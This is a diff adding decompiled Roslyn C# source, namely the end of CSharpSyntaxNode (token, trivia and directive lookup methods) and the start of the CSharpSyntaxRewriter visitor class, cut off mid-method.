//IL_000d: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken firstToken = GetFirstToken(includeZeroWidth: true); + return ((SyntaxToken)(ref firstToken)).LeadingTrivia; + } + + public SyntaxTriviaList GetTrailingTrivia() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken lastToken = GetLastToken(includeZeroWidth: true); + return ((SyntaxToken)(ref lastToken)).TrailingTrivia; + } + + [Obsolete("Syntax serialization support is deprecated and will be removed in a future version of this API", false)] + public static SyntaxNode DeserializeFrom(Stream stream, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected O, but got Unknown + if (stream == null) + { + throw new ArgumentNullException("stream"); + } + if (!stream.CanRead) + { + throw new InvalidOperationException(CodeAnalysisResources.TheStreamCannotBeReadFrom); + } + FatalError.ReportNonFatalError((Exception)new SerializationDeprecationException(), (ErrorSeverity)0, false); + ObjectReader val = ObjectReader.TryGetReader(stream, true, cancellationToken); + try + { + if (val == null) + { + throw new ArgumentException(CodeAnalysisResources.Stream_contains_invalid_data, "stream"); + } + return ((GreenNode)(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode)val.ReadValue()).CreateRed(); + } + finally + { + ((IDisposable)val)?.Dispose(); + } + } + + public Location GetLocation() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + return (Location)new SourceLocation((SyntaxNode)(object)this); + } + + internal SyntaxReference GetReference() + { + return SyntaxTree.GetReference((SyntaxNode)(object)this); + } + + public IEnumerable GetDiagnostics() + { + return SyntaxTree.GetDiagnostics((SyntaxNode)(object)this); + } + + internal IList GetDirectives(Func? filter = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxNodeOrToken val = SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)this); + return ((SyntaxNodeOrToken)(ref val)).GetDirectives(filter); + } + + public Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax? GetFirstDirective(Func? predicate = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + ChildSyntaxList val = ((SyntaxNode)this).ChildNodesAndTokens(); + Enumerator enumerator = ((ChildSyntaxList)(ref val)).GetEnumerator(); + SyntaxNode node = default(SyntaxNode); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxNodeOrToken current = ((Enumerator)(ref enumerator)).Current; + if (!((SyntaxNodeOrToken)(ref current)).ContainsDirectives) + { + continue; + } + if (((SyntaxNodeOrToken)(ref current)).AsNode(ref node)) + { + Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax firstDirective = node.GetFirstDirective(predicate); + if (firstDirective != null) + { + return firstDirective; + } + continue; + } + SyntaxToken val2 = ((SyntaxNodeOrToken)(ref current)).AsToken(); + SyntaxTriviaList leadingTrivia = ((SyntaxToken)(ref val2)).LeadingTrivia; + Enumerator enumerator2 = ((SyntaxTriviaList)(ref leadingTrivia)).GetEnumerator(); + while (((Enumerator)(ref enumerator2)).MoveNext()) + { + SyntaxTrivia current2 = ((Enumerator)(ref enumerator2)).Current; + if (((SyntaxTrivia)(ref current2)).IsDirective) + { + Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax directiveTriviaSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax)(object)((SyntaxTrivia)(ref current2)).GetStructure(); + if (predicate == null || predicate(directiveTriviaSyntax)) + { + return directiveTriviaSyntax; + } + } + } + } + return null; + } + + public Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax? GetLastDirective(Func? predicate = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + ChildSyntaxList val = ((SyntaxNode)this).ChildNodesAndTokens(); + Reversed val2 = ((ChildSyntaxList)(ref val)).Reverse(); + Enumerator enumerator = ((Reversed)(ref val2)).GetEnumerator(); + SyntaxNode node = default(SyntaxNode); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxNodeOrToken current = ((Enumerator)(ref enumerator)).Current; + if (!((SyntaxNodeOrToken)(ref current)).ContainsDirectives) + { + continue; + } + if (((SyntaxNodeOrToken)(ref current)).AsNode(ref node)) + { + Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax lastDirective = node.GetLastDirective(predicate); + if (lastDirective != null) + { + return lastDirective; + } + continue; + } + SyntaxToken val3 = ((SyntaxNodeOrToken)(ref current)).AsToken(); + SyntaxTriviaList leadingTrivia = ((SyntaxToken)(ref val3)).LeadingTrivia; + Reversed val4 = ((SyntaxTriviaList)(ref leadingTrivia)).Reverse(); + Enumerator enumerator2 = ((Reversed)(ref val4)).GetEnumerator(); + while (((Enumerator)(ref enumerator2)).MoveNext()) + { + SyntaxTrivia current2 = ((Enumerator)(ref enumerator2)).Current; + if (((SyntaxTrivia)(ref current2)).IsDirective) + { + Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax directiveTriviaSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.DirectiveTriviaSyntax)(object)((SyntaxTrivia)(ref current2)).GetStructure(); + if (predicate == null || predicate(directiveTriviaSyntax)) + { + return directiveTriviaSyntax; + } + } + } + } + return null; + } + + public SyntaxToken GetFirstToken(bool includeZeroWidth = false, bool includeSkipped = false, bool includeDirectives = false, bool includeDocumentationComments = false) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((SyntaxNode)this).GetFirstToken(includeZeroWidth, includeSkipped, includeDirectives, includeDocumentationComments); + } + + internal SyntaxToken GetFirstToken(Func? predicate, Func? stepInto = null) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNavigator.Instance.GetFirstToken((SyntaxNode)(object)this, predicate, stepInto); + } + + public SyntaxToken GetLastToken(bool includeZeroWidth = false, bool includeSkipped = false, bool includeDirectives = false, bool includeDocumentationComments = false) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((SyntaxNode)this).GetLastToken(includeZeroWidth, includeSkipped, includeDirectives, includeDocumentationComments); + } + + public SyntaxToken FindToken(int position, bool findInsideTrivia = false) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return ((SyntaxNode)this).FindToken(position, findInsideTrivia); + } + + internal SyntaxToken FindTokenIncludingCrefAndNameAttributes(int position) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken result = FindToken(position); + SyntaxTrivia triviaFromSyntaxToken = SyntaxNode.GetTriviaFromSyntaxToken(position, ref result); + if (!SyntaxFacts.IsDocumentationCommentTrivia(triviaFromSyntaxToken.Kind())) + { + return result; + } + SyntaxToken result2 = ((SyntaxNode)(CSharpSyntaxNode)(object)((SyntaxTrivia)(ref triviaFromSyntaxToken)).GetStructure()).FindTokenInternal(position); + for (CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)((SyntaxToken)(ref result2)).Parent; cSharpSyntaxNode != null; cSharpSyntaxNode = cSharpSyntaxNode.Parent) + { + if (cSharpSyntaxNode.Kind() == SyntaxKind.XmlCrefAttribute || cSharpSyntaxNode.Kind() == SyntaxKind.XmlNameAttribute) + { + if (!LookupPosition.IsInXmlAttributeValue(position, (Microsoft.CodeAnalysis.CSharp.Syntax.XmlAttributeSyntax)cSharpSyntaxNode)) + { + return result; + } + return result2; + } + } + return result; + } + + public SyntaxTrivia FindTrivia(int position, Func stepInto) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return ((SyntaxNode)this).FindTrivia(position, stepInto); + } + + public SyntaxTrivia FindTrivia(int position, bool findInsideTrivia = false) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return ((SyntaxNode)this).FindTrivia(position, findInsideTrivia); + } + + protected override bool EquivalentToCore(SyntaxNode other) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Syntax/CSharpSyntaxNode.cs", 475); + } + + protected internal override SyntaxNode ReplaceCore(IEnumerable? nodes = null, Func? computeReplacementNode = null, IEnumerable? tokens = null, Func? computeReplacementToken = null, IEnumerable? trivia = null, Func? computeReplacementTrivia = null) + { + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom(SyntaxReplacer.Replace((SyntaxNode)(object)this, nodes, computeReplacementNode, tokens, computeReplacementToken, trivia, computeReplacementTrivia), SyntaxTree); + } + + protected internal override SyntaxNode ReplaceNodeInListCore(SyntaxNode originalNode, IEnumerable replacementNodes) + { + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom(SyntaxReplacer.ReplaceNodeInList((SyntaxNode)(object)this, originalNode, replacementNodes), SyntaxTree); + } + + protected internal override SyntaxNode InsertNodesInListCore(SyntaxNode nodeInList, IEnumerable nodesToInsert, bool insertBefore) + { + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom(SyntaxReplacer.InsertNodeInList((SyntaxNode)(object)this, nodeInList, nodesToInsert, insertBefore), SyntaxTree); + } + + protected internal override SyntaxNode ReplaceTokenInListCore(SyntaxToken originalToken, IEnumerable newTokens) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom(SyntaxReplacer.ReplaceTokenInList((SyntaxNode)(object)this, originalToken, newTokens), SyntaxTree); + } + + protected internal override SyntaxNode InsertTokensInListCore(SyntaxToken originalToken, IEnumerable newTokens, bool insertBefore) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom(SyntaxReplacer.InsertTokenInList((SyntaxNode)(object)this, originalToken, newTokens, insertBefore), SyntaxTree); + } + + protected internal override SyntaxNode ReplaceTriviaInListCore(SyntaxTrivia originalTrivia, IEnumerable newTrivia) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom(SyntaxReplacer.ReplaceTriviaInList((SyntaxNode)(object)this, originalTrivia, newTrivia), SyntaxTree); + } + + protected internal override SyntaxNode InsertTriviaInListCore(SyntaxTrivia originalTrivia, IEnumerable newTrivia, bool insertBefore) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom(SyntaxReplacer.InsertTriviaInList((SyntaxNode)(object)this, originalTrivia, newTrivia, insertBefore), SyntaxTree); + } + + protected internal override SyntaxNode? RemoveNodesCore(IEnumerable nodes, SyntaxRemoveOptions options) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom((SyntaxNode)(object)SyntaxNodeRemover.RemoveNodes(this, (IEnumerable)nodes.Cast(), options), SyntaxTree); + } + + protected internal override SyntaxNode NormalizeWhitespaceCore(string indentation, string eol, bool elasticTrivia) + { + return SyntaxNodeExtensions.AsRootOfNewTreeWithOptionsFrom((SyntaxNode)(object)SyntaxNormalizer.Normalize(this, indentation, eol, elasticTrivia), SyntaxTree); + } + + protected override bool IsEquivalentToCore(SyntaxNode node, bool topLevel = false) + { + return SyntaxFactory.AreEquivalent((SyntaxNode?)(object)this, (SyntaxNode?)(object)(CSharpSyntaxNode)(object)node, topLevel); + } + + internal override bool ShouldCreateWeakList() + { + if (Kind() == SyntaxKind.Block) + { + CSharpSyntaxNode parent = Parent; + if (parent is Microsoft.CodeAnalysis.CSharp.Syntax.MemberDeclarationSyntax || parent is Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax) + { + return true; + } + } + return false; + } + + string IFormattable.ToString(string? format, IFormatProvider? formatProvider) + { + return ((object)this).ToString(); + } + + internal string Dump() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return TreeDumper.DumpCompact(makeTree(SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)this))); + static TreeDumperNode makeTree(SyntaxNodeOrToken nodeOrToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected O, but got Unknown + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Expected O, but got Unknown + string text = nodeOrToken.Kind().ToString(); + SyntaxNode val = default(SyntaxNode); + if (((SyntaxNodeOrToken)(ref nodeOrToken)).AsNode(ref val) && !(val is Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax)) + { + return new TreeDumperNode(text, (object)null, ((IEnumerable)(object)val.ChildNodesAndTokens()).Select(makeTree)); + } + return new TreeDumperNode(text + " " + stringOrMissing(nodeOrToken)); + } + static string stringOrMissing(SyntaxNodeOrToken nodeOrToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (!((SyntaxNodeOrToken)(ref nodeOrToken)).IsMissing) + { + return $"\"{nodeOrToken}\""; + } + return ""; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxRewriter.cs new file mode 100644 index 0000000..bde8406 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxRewriter.cs @@ -0,0 +1,2768 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +public abstract class CSharpSyntaxRewriter : CSharpSyntaxVisitor +{ + private readonly bool _visitIntoStructuredTrivia; + + private int _recursionDepth; + + public virtual bool VisitIntoStructuredTrivia => _visitIntoStructuredTrivia; + + public CSharpSyntaxRewriter(bool visitIntoStructuredTrivia = false) + { + _visitIntoStructuredTrivia = visitIntoStructuredTrivia; + } + + [return: NotNullIfNotNull("node")] + public override SyntaxNode? Visit(SyntaxNode? node) + { + if (node != null) + { + _recursionDepth++; + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + SyntaxNode? result = ((CSharpSyntaxNode)(object)node).Accept(this); + _recursionDepth--; + return result; + } + return null; + } + + public virtual SyntaxToken VisitToken(SyntaxToken token) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + GreenNode node = ((SyntaxToken)(ref token)).Node; + if (node == null) + { + return token; + } + GreenNode leadingTriviaCore = node.GetLeadingTriviaCore(); + GreenNode trailingTriviaCore = node.GetTrailingTriviaCore(); + if (leadingTriviaCore != null) + { + SyntaxTriviaList val = this.VisitList(new SyntaxTriviaList(ref token, leadingTriviaCore)); + if (trailingTriviaCore != null) + { + int num = ((!leadingTriviaCore.IsList) ? 1 : leadingTriviaCore.SlotCount); + SyntaxTriviaList val2 = this.VisitList(new SyntaxTriviaList(ref token, trailingTriviaCore, ((SyntaxToken)(ref token)).Position + node.FullWidth - trailingTriviaCore.FullWidth, num)); + if (((SyntaxTriviaList)(ref val)).Node != leadingTriviaCore) + { + token = ((SyntaxToken)(ref token)).WithLeadingTrivia(val); + } + if (((SyntaxTriviaList)(ref val2)).Node == trailingTriviaCore) + { + return token; + } + return ((SyntaxToken)(ref token)).WithTrailingTrivia(val2); + } + if (((SyntaxTriviaList)(ref val)).Node == leadingTriviaCore) + { + return token; + } + return ((SyntaxToken)(ref token)).WithLeadingTrivia(val); + } + if (trailingTriviaCore != null) + { + SyntaxTriviaList val3 = this.VisitList(new SyntaxTriviaList(ref token, trailingTriviaCore, ((SyntaxToken)(ref token)).Position + node.FullWidth - trailingTriviaCore.FullWidth, 0)); + if (((SyntaxTriviaList)(ref val3)).Node == trailingTriviaCore) + { + return token; + } + return ((SyntaxToken)(ref token)).WithTrailingTrivia(val3); + } + return token; + } + + public virtual SyntaxTrivia VisitTrivia(SyntaxTrivia trivia) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + if (VisitIntoStructuredTrivia && ((SyntaxTrivia)(ref trivia)).HasStructure) + { + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)((SyntaxTrivia)(ref trivia)).GetStructure(); + StructuredTriviaSyntax structuredTriviaSyntax = (StructuredTriviaSyntax)(object)Visit((SyntaxNode?)(object)cSharpSyntaxNode); + if (structuredTriviaSyntax != cSharpSyntaxNode) + { + if (structuredTriviaSyntax != null) + { + return SyntaxFactory.Trivia(structuredTriviaSyntax); + } + return default(SyntaxTrivia); + } + } + return trivia; + } + + public virtual SyntaxList VisitList(SyntaxList list) where TNode : SyntaxNode + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = default(SyntaxListBuilder); + int i = 0; + for (int count = list.Count; i < count; i++) + { + TNode val2 = list[i]; + TNode val3 = VisitListElement(val2); + if ((object)val2 != (object)val3 && val.IsNull) + { + val._002Ector(count); + val.AddRange(list, 0, i); + } + if (!val.IsNull && val3 != null && !((SyntaxNode?)(object)val3).IsKind(SyntaxKind.None)) + { + val.Add(val3); + } + } + if (!val.IsNull) + { + return val.ToList(); + } + return list; + } + + public virtual TNode? VisitListElement(TNode? node) where TNode : SyntaxNode + { + return (TNode)(object)Visit((SyntaxNode?)(object)node); + } + + public virtual SeparatedSyntaxList VisitList(SeparatedSyntaxList list) where TNode : SyntaxNode + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + int count = list.Count; + int separatorCount = list.SeparatorCount; + SeparatedSyntaxListBuilder val = default(SeparatedSyntaxListBuilder); + int i; + for (i = 0; i < separatorCount; i++) + { + TNode val2 = list[i]; + TNode val3 = VisitListElement(val2); + SyntaxToken separator = list.GetSeparator(i); + SyntaxToken val4 = VisitListSeparator(separator); + if (val.IsNull && ((object)val2 != (object)val3 || separator != val4)) + { + val._002Ector(count); + val.AddRange(ref list, i); + } + if (val.IsNull) + { + continue; + } + if (val3 != null) + { + val.Add(val3); + if (((SyntaxToken)(ref val4)).RawKind == 0) + { + throw new InvalidOperationException(CodeAnalysisResources.SeparatorIsExpected); + } + val.AddSeparator(ref val4); + } + else if (val3 == null) + { + throw new InvalidOperationException(CodeAnalysisResources.ElementIsExpected); + } + } + if (i < count) + { + TNode val5 = list[i]; + TNode val6 = VisitListElement(val5); + if (val.IsNull && (object)val5 != (object)val6) + { + val._002Ector(count); + val.AddRange(ref list, i); + } + if (!val.IsNull && val6 != null) + { + val.Add(val6); + } + } + if (!val.IsNull) + { + return val.ToList(); + } + return list; + } + + public virtual SyntaxToken VisitListSeparator(SyntaxToken separator) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return VisitToken(separator); + } + + public virtual SyntaxTokenList VisitList(SyntaxTokenList list) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenListBuilder val = null; + int count = ((SyntaxTokenList)(ref list)).Count; + int num = -1; + Enumerator enumerator = ((SyntaxTokenList)(ref list)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxToken current = ((Enumerator)(ref enumerator)).Current; + num++; + SyntaxToken val2 = VisitToken(current); + if (current != val2 && val == null) + { + val = new SyntaxTokenListBuilder(count); + val.Add(list, 0, num); + } + if (val != null && val2.Kind() != SyntaxKind.None) + { + val.Add(val2); + } + } + if (val != null) + { + return val.ToList(); + } + return list; + } + + public virtual SyntaxTriviaList VisitList(SyntaxTriviaList list) + { + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + int count = ((SyntaxTriviaList)(ref list)).Count; + if (count != 0) + { + SyntaxTriviaListBuilder val = null; + int num = -1; + Enumerator enumerator = ((SyntaxTriviaList)(ref list)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + num++; + SyntaxTrivia val2 = VisitListElement(current); + if (val2 != current && val == null) + { + val = new SyntaxTriviaListBuilder(count); + val.Add(ref list, 0, num); + } + if (val != null && val2.Kind() != SyntaxKind.None) + { + val.Add(val2); + } + } + if (val != null) + { + return val.ToList(); + } + } + return list; + } + + public virtual SyntaxTrivia VisitListElement(SyntaxTrivia element) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return VisitTrivia(element); + } + + public override SyntaxNode? VisitIdentifierName(IdentifierNameSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Identifier)); + } + + public override SyntaxNode? VisitQualifiedName(QualifiedNameSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((NameSyntax)(object)Visit((SyntaxNode?)(object)node.Left)) ?? throw new ArgumentNullException("left"), VisitToken(node.DotToken), ((SimpleNameSyntax)(object)Visit((SyntaxNode?)(object)node.Right)) ?? throw new ArgumentNullException("right")); + } + + public override SyntaxNode? VisitGenericName(GenericNameSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Identifier), ((TypeArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.TypeArgumentList)) ?? throw new ArgumentNullException("typeArgumentList")); + } + + public override SyntaxNode? VisitTypeArgumentList(TypeArgumentListSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.LessThanToken), VisitList(node.Arguments), VisitToken(node.GreaterThanToken)); + } + + public override SyntaxNode? VisitAliasQualifiedName(AliasQualifiedNameSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((IdentifierNameSyntax)(object)Visit((SyntaxNode?)(object)node.Alias)) ?? throw new ArgumentNullException("alias"), VisitToken(node.ColonColonToken), ((SimpleNameSyntax)(object)Visit((SyntaxNode?)(object)node.Name)) ?? throw new ArgumentNullException("name")); + } + + public override SyntaxNode? VisitPredefinedType(PredefinedTypeSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Keyword)); + } + + public override SyntaxNode? VisitArrayType(ArrayTypeSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return 